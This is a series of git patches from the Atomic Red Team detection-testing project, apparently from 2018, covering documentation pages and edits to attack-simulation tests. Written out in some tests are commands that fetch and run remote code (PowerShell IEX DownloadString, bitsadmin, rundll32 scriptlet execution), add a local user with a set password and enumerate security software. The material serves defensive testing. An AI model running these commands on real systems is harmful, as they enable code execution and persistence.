1](https://www.redcanary.com/wp-content/uploads/image5-3.png) + +![Cb Example 2](https://www.redcanary.com/wp-content/uploads/image7-2.png) + +## Develop Detection + +So you executed the test and none of your defenses fired – that’s why we test! Based on your observations +and detection capabilities, it is time to use what you have to try to detect this event in your environment. + +![Unwind Data](https://www.redcanary.com/wp-content/uploads/image8-1.png) + +Once the detection is built, it is time to validate that the detection is working and that it is appropriately +tuned. If you were to write your detection too broadly and “detect” every regsvr32.exe without any suppression, +you are going to be digging out from a mountain of false positives. But if you write it too narrow and it +only detects regsvr32.exe with the exact command line `/s /u /i` then all an attacker has to do is slightly +modify their command line to evade your detection. + +## Measure Progress + +One of the goals is to try to measure your coverage/capabilities against the ATT&CK Matrix and to identify where you may have gaps. Roberto Rodriguez ([@cyb3rWar0g](https://twitter.com/Cyb3rWard0g)) provided [this spreadsheet](https://github.com/Cyb3rWard0g/ThreatHunter-Playbook/blob/master/metrics/HuntTeam_HeatMap.xlsx) and complementary [blog post](https://cyberwardog.blogspot.com/2017/07/how-hot-is-your-hunt-team.html) showcasing how to determine where you stand within your organization in relation the MITRE ATT&CK Matrix. + +![HeatMap](https://www.redcanary.com/wp-content/uploads/image4-5.png) + +![Measure](https://www.redcanary.com/wp-content/uploads/image6-2.png) diff --git a/docs/use-cases.md b/docs/use-cases.md new file mode 100644 index 00000000..aadc5a8f --- /dev/null +++ b/docs/use-cases.md @@ -0,0 +1,42 @@ +--- +layout: default +--- + +# Use Cases + +## Test your production security controls +You have one or more security controls in production today. But do you know +how they perform when presented with specific adversary techniques? Atomic Red +Team can be used to introduce known adversary techniques in a controlled manner. + +*Questions to ask* +- Are we receiving signals for all observable events? +- Are we receiving alerts for events that should occur with low frequency, or + that have a high impact? + +## Testing the coverage of a product during a proof of concept +The original use case for Atomic Red Team, these tests are an invaluable means +of validating vendor claims, or objectively measuring the presence or quality +of signals across multiple products. + +*Questions to ask* +- Are we receiving signals for all observable events? +- Are we receiving alerts for events that should occur with low frequency, or + that have a high impact? +- Is alerting for a given event deterministic, or does it depend on runtime + context (i.e,. user, parent/child process attributes, etc.)? + +## Testing your analysis team and processes +While it is ideal that technical controls be tested and understood, it is +critical that information security leaders understand how their +operational capability--the combination of technical controls, expertise, and +response processes--perform in the face of a determined adversary. + +*Questions to ask* +- Do one or more of our technical controls identify the test or Chain Reaction? +- Does detection depend on automated correlation? On human analysis? +- In any event, how quickly do we detect the activity? +- How long does it take us to contain, remediate, recover? +- What is the signal-to-noise ratio for the detection critiera used to + identify the activity? Is it sustainable, in conjunction with the criteria + required to cover a greater percentage of the ATT&CK matrix? From 4e594cb57a9ab64fa308cf8c7e2944f7100fee9f Mon Sep 17 00:00:00 2001 From: Brian Beyer Date: Wed, 13 Jun 2018 19:44:37 -0600 Subject: [PATCH 10/91] change base size --- docs/assets/css/style.scss | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/docs/assets/css/style.scss b/docs/assets/css/style.scss index 47b6be5e..e7966d4c 100644 --- a/docs/assets/css/style.scss +++ b/docs/assets/css/style.scss @@ -8,3 +8,7 @@ $header-bg-color: #d6757c; $section-headings-color: #CE232E; @import "{{ site.theme }}"; + +html { + font-size: 14px; +} \ No newline at end of file From 9f3752621b420df37d21883800c495fdb56eff99 Mon Sep 17 00:00:00 2001 From: Keith McCammon Date: Thu, 14 Jun 2018 10:23:41 -0600 Subject: [PATCH 11/91] Update Slack link to HTTPS --- docs/_layouts/default.html | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/docs/_layouts/default.html b/docs/_layouts/default.html index 46762f91..0507a41c 100644 --- a/docs/_layouts/default.html +++ b/docs/_layouts/default.html @@ -27,7 +27,7 @@ Contributing APIs & Execution Frameworks View on GitHub - Join on Slack + Join on Slack
    @@ -50,4 +50,4 @@ {% endif %} - \ No newline at end of file + From 5e873f171102b6e2650182f33e4fe044de859616 Mon Sep 17 00:00:00 2001 From: Robert Date: Thu, 14 Jun 2018 16:03:45 -0600 Subject: [PATCH 12/91] Cleaned up hyperlinks in the testing page. (#251) * Cleaned up hyperlinks in the testing page. * Cleaned up hyperlinks in the testing page. --- docs/testing.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/docs/testing.md b/docs/testing.md index 06bca339..2ecf3153 100644 --- a/docs/testing.md +++ b/docs/testing.md @@ -8,7 +8,7 @@ layout: default We suggest a phased approach to running a test and evaluating your results: -1. [Select a test](#pick-a-test) +1. [Select a test](#select-a-test) 2. [Execute Test](#execute-test) 3. [Collect Evidence](#collect-evidence) 4. [Develop Detection](#develop-detection) @@ -29,18 +29,18 @@ execute all the Discovery phase items at once in a batch file, or run each phase Select one or more Atomic Tests that you plan to execute. A complete list, ATT&CK matrices, and platform-specific matrices linking to Atomic Tests can be found here: -- [Complete list of Atomic Tests](atomics/index.md) -- [Atomic Tests per the ATT&CK Matrix](atomics/matrix.md) -- Windows [Tests](atomics/windows-index.md) and [Matrix](atomics/windows-matrix.md) -- macOS [Tests](atomics/macos-index.md) and [Matrix](atomics/macos-matrix.md) -- Linux [Tests](atomics/linux-index.md) and [Matrix](atomics/linux-matrix.md) +- [Complete list of Atomic Tests](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/index.md) +- [Atomic Tests per the ATT&CK Matrix](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/matrix.md) +- Windows [Tests](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/windows-index.md) and [Matrix](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/windows-matrix.md) +- macOS [Tests](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/macos-index.md) and [Matrix](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/macos-matrix.md) +- Linux [Tests](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/linux-index.md) and [Matrix](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/linux-matrix.md) ## Execute Test In this example we will use Technique `T1117 "Regsvr32"` and Atomic Test `"Regsvr32 remote COM scriptlet execution"`. This particular test is fairly easy to exercise since the tool is on all Windows workstations by default. -The details of this test, [which are located here](atomics/T1117/T1117.md#atomic-test-2---regsvr32-remote-com-scriptlet-execution), +The details of this test, [which are located here](https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1117/T1117.md#atomic-test-2---regsvr32-remote-com-scriptlet-execution), describe how you can test your detection by simply running the below command: ``` From a3e92e7898ff7382b873bbe5127933dc135ae912 Mon Sep 17 00:00:00 2001 From: Michael Haag <“mike@redcanary.com git config --global user.name “Michael Haag> Date: Fri, 15 Jun 2018 07:09:13 -0400 Subject: [PATCH 13/91] Add user add to T1086 Add a user using PowerShell --- atomics/T1086/T1086.yaml | 31 ++++++++++++++++++++++++++++++- 1 file changed, 30 insertions(+), 1 deletion(-) diff --git a/atomics/T1086/T1086.yaml b/atomics/T1086/T1086.yaml index 24b3758b..3943b81e 100644 --- a/atomics/T1086/T1086.yaml +++ b/atomics/T1086/T1086.yaml @@ -1,6 +1,6 @@ --- attack_technique: T1086 -display_name: TODO +display_name: PowerShell atomic_tests: - name: Mimikatz @@ -86,3 +86,32 @@ atomic_tests: command: | Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/master/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass" C:\Windows\System32\cmd.exe + +- name: PowerShell Add User + description: | + Using PS 5.1, add a user via CLI + + supported_platforms: + - windows + + input_arguments: + user_name: + description: username to add + type: string + default: atomic_user + full_name: + description: Full name of user + type: string + default: Atomic Red Team + password: + description: password to use + type: string + default: ATOM1CR3DT3@M + description: + description: Brief description of account + type: string + default: Atomic Things + executor: + name: command_prompt + command: | + New-LocalUser -FullName '${full_name}' -Name '${user_name}' -Password ${password} ‑Description '${description}' From 1b6caa3baab0c4eb1fb5a7bbe7f8633f1ded46b1 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 15 Jun 2018 11:09:26 +0000 Subject: [PATCH 14/91] Generate docs from job=validate_atomics_generate_docs branch=T1086 --- atomics/T1086/T1086.md | 23 +++++++++++++++++++++++ atomics/index.md | 1 + atomics/windows-index.md | 1 + 3 files changed, 25 insertions(+) diff --git a/atomics/T1086/T1086.md b/atomics/T1086/T1086.md index 40d15a79..8cf132dd 100644 --- a/atomics/T1086/T1086.md +++ b/atomics/T1086/T1086.md @@ -32,6 +32,8 @@ Remote Support: Yes - [Atomic Test #5 - Invoke-AppPathBypass](#atomic-test-5---invoke-apppathbypass) +- [Atomic Test #6 - PowerShell Add User](#atomic-test-6---powershell-add-user) +
    @@ -119,3 +121,24 @@ Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githu C:\Windows\System32\cmd.exe ```
    +
    + +## Atomic Test #6 - PowerShell Add User +Using PS 5.1, add a user via CLI + +**Supported Platforms:** Windows + + +#### Inputs +| Name | Description | Type | Default Value | +|------|-------------|------|---------------| +| user_name | username to add | string | atomic_user| +| full_name | Full name of user | string | Atomic Red Team| +| password | password to use | string | ATOM1CR3DT3@M| +| description | Brief description of account | string | Atomic Things| + +#### Run it with `command_prompt`! +``` +New-LocalUser -FullName '${full_name}' -Name '${user_name}' -Password ${password} ‑Description '${description}' +``` +
    diff --git a/atomics/index.md b/atomics/index.md index be80c1b6..32585d87 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -417,6 +417,7 @@ - Atomic Test #3: Obfuscation Tests [windows] - Atomic Test #4: Mimikatz - Cradlecraft PsSendKeys [windows] - Atomic Test #5: Invoke-AppPathBypass [windows] + - Atomic Test #6: PowerShell Add User [windows] - [T1121 Regsvcs/Regasm](./T1121/T1121.md) - Atomic Test #1: Regasm Uninstall Method Call Test [windows] - Atomic Test #2: Regsvs Uninstall Method Call Test [windows] diff --git a/atomics/windows-index.md b/atomics/windows-index.md index c4a2187c..40d89eb1 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -347,6 +347,7 @@ - Atomic Test #3: Obfuscation Tests [windows] - Atomic Test #4: Mimikatz - Cradlecraft PsSendKeys [windows] - Atomic Test #5: Invoke-AppPathBypass [windows] + - Atomic Test #6: PowerShell Add User [windows] - [T1121 Regsvcs/Regasm](./T1121/T1121.md) - Atomic Test #1: Regasm Uninstall Method Call Test [windows] - Atomic Test #2: Regsvs Uninstall Method Call Test [windows] From 16b116ef29d89a29e8d3d0984a1cd5334f585971 Mon Sep 17 00:00:00 2001 From: Keith McCammon Date: Fri, 15 Jun 2018 07:26:02 -0600 Subject: [PATCH 15/91] Update contact email address --- CODE_OF_CONDUCT.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CODE_OF_CONDUCT.md b/CODE_OF_CONDUCT.md index 19622bcf..4dba6cd7 100644 --- a/CODE_OF_CONDUCT.md +++ b/CODE_OF_CONDUCT.md @@ -34,7 +34,7 @@ This Code of Conduct applies both within project spaces and in public spaces whe ## Enforcement -Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at atomicredteam@redcanary.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. +Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at research at redcanary.com. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. From ffc9dbd6483dbd6fb273866732dfa1215eb5468b Mon Sep 17 00:00:00 2001 From: Brian Beyer Date: Sun, 17 Jun 2018 16:22:11 -0600 Subject: [PATCH 16/91] Fix arg name and interpolation syntax --- atomics/T1007/T1007.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/atomics/T1007/T1007.yaml b/atomics/T1007/T1007.yaml index ace23084..a2c2bfcf 100644 --- a/atomics/T1007/T1007.yaml +++ b/atomics/T1007/T1007.yaml @@ -22,6 +22,6 @@ atomic_tests: tasklist.exe sc query sc query state= all - sc start ${servicename} - sc stop ${servicename} - wmic service where (displayname like "${servicename}") get name + sc start #{service_name} + sc stop #{service_name} + wmic service where (displayname like "#{service_name}") get name From 2dc68c0697c366430bf2d7d1f689e2f63711a664 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Sun, 17 Jun 2018 22:22:19 +0000 Subject: [PATCH 17/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1007/T1007.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/atomics/T1007/T1007.md b/atomics/T1007/T1007.md index edfdfb36..5a54d553 100644 --- a/atomics/T1007/T1007.md +++ b/atomics/T1007/T1007.md @@ -35,8 +35,8 @@ Identify system services tasklist.exe sc query sc query state= all -sc start ${servicename} -sc stop ${servicename} -wmic service where (displayname like "${servicename}") get name +sc start #{service_name} +sc stop #{service_name} +wmic service where (displayname like "#{service_name}") get name ```
    From cb09b1dbc6c02289a586e27e0829658d36f2bae4 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Wed, 20 Jun 2018 16:49:40 +0000 Subject: [PATCH 18/91] Generate docs from job=validate_atomics_generate_docs branch=bitsadmin-fix-cs --- atomics/T1077/T1077.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1077/T1077.md b/atomics/T1077/T1077.md index fb6287b3..99c7ea33 100644 --- a/atomics/T1077/T1077.md +++ b/atomics/T1077/T1077.md @@ -41,6 +41,6 @@ Connecting To Remote Shares #### Run it with `command_prompt`! ``` -cmd.exe /c "net use \\#{computer_name}\${share_name} #{password} /u:#{user_name}" +cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}" ```
    From 71138a43ac795a3d283ba2a061a17184b42fb4b0 Mon Sep 17 00:00:00 2001 From: caseysmithrc <30840394+caseysmithrc@users.noreply.github.com> Date: Wed, 20 Jun 2018 10:55:02 -0600 Subject: [PATCH 19/91] Fix BitsAdmin Urls --- atomics/T1197/T1197.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/atomics/T1197/T1197.yaml b/atomics/T1197/T1197.yaml index 53753e6d..4752b674 100644 --- a/atomics/T1197/T1197.yaml +++ b/atomics/T1197/T1197.yaml @@ -13,7 +13,7 @@ atomic_tests: executor: name: command_prompt command: | - bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Execution/Bitsadmin.md $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 + bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/59b33d16d7ace0bfb32d12fbcf166cc2a6dce129/atomics/T1197/T1197.md $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 - name: Download & Execute via PowerShell BITS description: | This test simulates an adversary leveraging bitsadmin.exe to download @@ -23,4 +23,4 @@ atomic_tests: executor: name: powershell command: | - Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Execution/Bitsadmin.md -Destination $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 + Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/59b33d16d7ace0bfb32d12fbcf166cc2a6dce129/atomics/T1197/T1197.md -Destination $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 From e7ff32080dc3f8d176dea83aef509167028eb56d Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Wed, 20 Jun 2018 16:55:17 +0000 Subject: [PATCH 20/91] Generate docs from job=validate_atomics_generate_docs branch=bitsadmin-fix-cs --- atomics/T1197/T1197.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/atomics/T1197/T1197.md b/atomics/T1197/T1197.md index da8e7cf2..f79f5232 100644 --- a/atomics/T1197/T1197.md +++ b/atomics/T1197/T1197.md @@ -42,7 +42,7 @@ and execute a payload #### Run it with `command_prompt`! ``` -bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Execution/Bitsadmin.md $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 +bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/59b33d16d7ace0bfb32d12fbcf166cc2a6dce129/atomics/T1197/T1197.md $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 ```

    @@ -56,6 +56,6 @@ and execute a payload leveraging PowerShell #### Run it with `powershell`! ``` -Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Execution/Bitsadmin.md -Destination $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 +Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/59b33d16d7ace0bfb32d12fbcf166cc2a6dce129/atomics/T1197/T1197.md -Destination $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 ```
    From 6c3d7c58e84d80196bcb4583f3608b6e763cb56c Mon Sep 17 00:00:00 2001 From: caseysmithrc <30840394+caseysmithrc@users.noreply.github.com> Date: Wed, 20 Jun 2018 11:07:04 -0600 Subject: [PATCH 21/91] Fix Link --- atomics/T1197/T1197.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/atomics/T1197/T1197.yaml b/atomics/T1197/T1197.yaml index 4752b674..5b24d584 100644 --- a/atomics/T1197/T1197.yaml +++ b/atomics/T1197/T1197.yaml @@ -13,7 +13,7 @@ atomic_tests: executor: name: command_prompt command: | - bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/59b33d16d7ace0bfb32d12fbcf166cc2a6dce129/atomics/T1197/T1197.md $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 + bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 - name: Download & Execute via PowerShell BITS description: | This test simulates an adversary leveraging bitsadmin.exe to download @@ -23,4 +23,4 @@ atomic_tests: executor: name: powershell command: | - Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/59b33d16d7ace0bfb32d12fbcf166cc2a6dce129/atomics/T1197/T1197.md -Destination $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 + Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md -Destination $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 From 5c8a743accee1c6cfd24864d21adc9e56e03b03b Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Wed, 20 Jun 2018 17:07:17 +0000 Subject: [PATCH 22/91] Generate docs from job=validate_atomics_generate_docs branch=bitsadmin-fix-cs --- atomics/T1197/T1197.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/atomics/T1197/T1197.md b/atomics/T1197/T1197.md index f79f5232..9199231b 100644 --- a/atomics/T1197/T1197.md +++ b/atomics/T1197/T1197.md @@ -42,7 +42,7 @@ and execute a payload #### Run it with `command_prompt`! ``` -bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/59b33d16d7ace0bfb32d12fbcf166cc2a6dce129/atomics/T1197/T1197.md $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 +bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 ```

    @@ -56,6 +56,6 @@ and execute a payload leveraging PowerShell #### Run it with `powershell`! ``` -Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/59b33d16d7ace0bfb32d12fbcf166cc2a6dce129/atomics/T1197/T1197.md -Destination $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 +Start-BitsTransfer -Priority foreground -Source https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md -Destination $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 ```
    From 7d4f04c15357a6bb6a1a185f939859337c54eaed Mon Sep 17 00:00:00 2001 From: caseysmithrc <30840394+caseysmithrc@users.noreply.github.com> Date: Wed, 20 Jun 2018 11:13:12 -0600 Subject: [PATCH 23/91] fixed cmdline test --- atomics/T1197/T1197.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1197/T1197.yaml b/atomics/T1197/T1197.yaml index 5b24d584..5381976f 100644 --- a/atomics/T1197/T1197.yaml +++ b/atomics/T1197/T1197.yaml @@ -13,7 +13,7 @@ atomic_tests: executor: name: command_prompt command: | - bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 + bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md %TEMP%\bitsadmin_flag.ps1 - name: Download & Execute via PowerShell BITS description: | This test simulates an adversary leveraging bitsadmin.exe to download From 51a3f38cb5df9fbade9524f91ce0e5e3fa0deeb3 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Wed, 20 Jun 2018 17:13:25 +0000 Subject: [PATCH 24/91] Generate docs from job=validate_atomics_generate_docs branch=bitsadmin-fix-cs --- atomics/T1197/T1197.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1197/T1197.md b/atomics/T1197/T1197.md index 9199231b..29bf7812 100644 --- a/atomics/T1197/T1197.md +++ b/atomics/T1197/T1197.md @@ -42,7 +42,7 @@ and execute a payload #### Run it with `command_prompt`! ``` -bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md $env:TEMP\AtomicRedTeam\bitsadmin_flag.ps1 +bitsadmin.exe /transfer /Download /priority Foreground https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1197/T1197.md %TEMP%\bitsadmin_flag.ps1 ```

    From a44c2b6d6da20c76700f7c0dd37869702ce375c2 Mon Sep 17 00:00:00 2001 From: caseysmithrc <30840394+caseysmithrc@users.noreply.github.com> Date: Wed, 20 Jun 2018 11:34:58 -0600 Subject: [PATCH 25/91] Fixed Broken Link to Payload --- atomics/T1085/T1085.sct | 44 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 44 insertions(+) create mode 100644 atomics/T1085/T1085.sct diff --git a/atomics/T1085/T1085.sct b/atomics/T1085/T1085.sct new file mode 100644 index 00000000..035b60e7 --- /dev/null +++ b/atomics/T1085/T1085.sct @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + From d8ac8e8be9ffd663e76ffa533d2cf38862c3a72d Mon Sep 17 00:00:00 2001 From: caseysmithrc <30840394+caseysmithrc@users.noreply.github.com> Date: Wed, 20 Jun 2018 11:40:32 -0600 Subject: [PATCH 26/91] Fix cmdline --- atomics/T1085/T1085.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/atomics/T1085/T1085.yaml b/atomics/T1085/T1085.yaml index d6a37515..7aba52cf 100644 --- a/atomics/T1085/T1085.yaml +++ b/atomics/T1085/T1085.yaml @@ -11,8 +11,8 @@ atomic_tests: file_url: description: location of the payload type: Url - default: hhttps://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct + default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct executor: name: command_prompt command: | - rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}")" + rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();" From b9d0011c6c9127e5f60aed8dd668df0fe36e0fa1 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Wed, 20 Jun 2018 17:41:16 +0000 Subject: [PATCH 27/91] Generate docs from job=validate_atomics_generate_docs branch=fix-deadlink-cs --- atomics/T1085/T1085.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/atomics/T1085/T1085.md b/atomics/T1085/T1085.md index 3a37b690..0b2873e6 100644 --- a/atomics/T1085/T1085.md +++ b/atomics/T1085/T1085.md @@ -36,10 +36,10 @@ Test execution of a remote script using rundll32.exe #### Inputs | Name | Description | Type | Default Value | |------|-------------|------|---------------| -| file_url | location of the payload | Url | hhttps://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct| +| file_url | location of the payload | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct| #### Run it with `command_prompt`! ``` -rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}")" +rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();" ```
    From 28321845a45bc3246cadb486df7079b16733a2ef Mon Sep 17 00:00:00 2001 From: keyabird <33433336+keyabird@users.noreply.github.com> Date: Thu, 21 Jun 2018 08:54:17 -0600 Subject: [PATCH 28/91] changed url to avoid 404 (#259) --- README.md | 20 ++++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index f75d6da9..8aec4bbc 100644 --- a/README.md +++ b/README.md @@ -4,33 +4,33 @@ [![CircleCI](https://circleci.com/gh/redcanaryco/atomic-red-team.svg?style=svg)](https://circleci.com/gh/redcanaryco/atomic-red-team) Atomic Red Team allows every security team to test their controls by executing simple -"atomic tests" that exercise the same techniques used by adversaries (all mapped to +"atomic tests" that exercise the same techniques used by adversaries (all mapped to [Mitre's ATT&CK](https://attack.mitre.org/wiki/Main_Page)). ## Philosophy Atomic Red Team is a library of simple tests that every security team can execute to test their controls. Tests are -focused, have few dependencies, and are defined in a structured format that be used by automation frameworks. +focused, have few dependencies, and are defined in a structured format that be used by automation frameworks. Three key beliefs made up the Atomic Red Team charter: - **Teams need to be able to test everything from specific technical controls to outcomes.** - Our security teams do not want to operate with a “hopes and prayers” attitude toward detection. We need to know - what our controls and program can detect, and what it cannot. We don’t have to detect every adversary, but we + Our security teams do not want to operate with a “hopes and prayers” attitude toward detection. We need to know + what our controls and program can detect, and what it cannot. We don’t have to detect every adversary, but we do believe in knowing our blind spots. - **We should be able to run a test in less than five minutes.** - Most security tests and automation tools take a tremendous amount of time to install, configure, and execute. - We coined the term "atomic tests" because we felt there was a simple way to decompose tests so most could be + Most security tests and automation tools take a tremendous amount of time to install, configure, and execute. + We coined the term "atomic tests" because we felt there was a simple way to decompose tests so most could be run in a few minutes. The best test is the one you actually run. - **We need to keep learning how adversaries are operating.** - Most security teams don’t have the benefit of seeing a wide variety of adversary types and techniques crossing - their desk every day. Even we at Red Canary only come across a fraction of the possible techniques being used, + Most security teams don’t have the benefit of seeing a wide variety of adversary types and techniques crossing + their desk every day. Even we at Red Canary only come across a fraction of the possible techniques being used, which makes the community working together essential to making us all better. -See: https://atomicredteam.io/philosophy +See: https://atomicredteam.io ## Having trouble? @@ -57,4 +57,4 @@ In order to have a more open and welcoming community, Atomic Red Team adheres to ## License -See the [LICENSE](https://github.com/redcanaryco/atomic-red-team/blob/master/LICENSE.txt) file. \ No newline at end of file +See the [LICENSE](https://github.com/redcanaryco/atomic-red-team/blob/master/LICENSE.txt) file. From 360b4cfc637bb95ab948c11c16c35ca2578899c4 Mon Sep 17 00:00:00 2001 From: Swelc Date: Thu, 21 Jun 2018 20:45:33 -0500 Subject: [PATCH 29/91] Added Cylance --- atomics/T1063/T1063.yaml | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/atomics/T1063/T1063.yaml b/atomics/T1063/T1063.yaml index 3639e404..4bd9a01a 100644 --- a/atomics/T1063/T1063.yaml +++ b/atomics/T1063/T1063.yaml @@ -15,9 +15,10 @@ atomic_tests: command: | netsh.exe advfirewall firewall show all profiles tasklist.exe - tasklist.exe | findstr virus - tasklist.exe | findstr cb - tasklist.exe | findstr defender + tasklist.exe | findstr /i virus + tasklist.exe | findstr /i cb + tasklist.exe | findstr /i defender + tasklist.exe | findstr /i cylance - name: Security Software Discovery - powershell description: | @@ -32,6 +33,7 @@ atomic_tests: powershell.exe get-process | ?{$_.Description -like "*virus*"} powershell.exe get-process | ?{$_.Description -like "*carbonblack*"} powershell.exe get-process | ?{$_.Description -like "*defender*"} + powershell.exe get-process | ?{$_.Description -like "*cylance*"} - name: Security Software Discovery - ps description: | From 5e2a5a4fd2c568b07feb63ce0bf438fc3b696aa1 Mon Sep 17 00:00:00 2001 From: Swelc Date: Thu, 21 Jun 2018 22:23:24 -0500 Subject: [PATCH 30/91] Added Windows user/group queries --- atomics/T1087/T1087.yaml | 55 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) diff --git a/atomics/T1087/T1087.yaml b/atomics/T1087/T1087.yaml index 95b599c3..c21459f2 100644 --- a/atomics/T1087/T1087.yaml +++ b/atomics/T1087/T1087.yaml @@ -95,3 +95,58 @@ 